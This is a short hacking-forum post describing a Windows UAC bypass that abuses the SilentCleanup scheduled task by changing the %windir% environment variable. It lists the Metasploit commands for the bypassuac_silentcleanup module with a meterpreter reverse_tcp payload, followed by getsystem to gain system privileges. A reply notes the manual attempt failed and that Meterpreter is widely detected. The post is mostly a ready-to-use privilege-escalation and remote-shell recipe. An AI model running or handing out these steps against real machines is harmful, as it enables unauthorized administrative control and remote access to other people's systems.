Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Bypass UAC using SilentCleanup Metasploit local exploit module

There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as
Users, automatically runs with elevated privileges. When it runs, it executes the file
%windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's
environment variables, %windir% (normally pointing to C:\Windows) can be changed to point to
whatever we want, and it'll run as admin.



use exploit/windows/local/bypassuac_silentcleanup
set session 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

and then ​Elevate to the high privilege

getsystem
I've tried this one manually and haven't gotten it to work. Also, one has to get Meterpreter to run, which is old and very well known to AV developers.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by VipVinceMay 15, 2026 06:38 PM 103 6,574 May 15, 2026 06:38 PM
Last Post: theprox0517
by aravOct 28, 2024 03:54 PM 15 508 Oct 28, 2024 03:54 PM
Last Post: woo097878781
by botnethunterJul 25, 2023 04:38 AM 0 251 Jul 25, 2023 04:38 AM
Last Post: botnethunter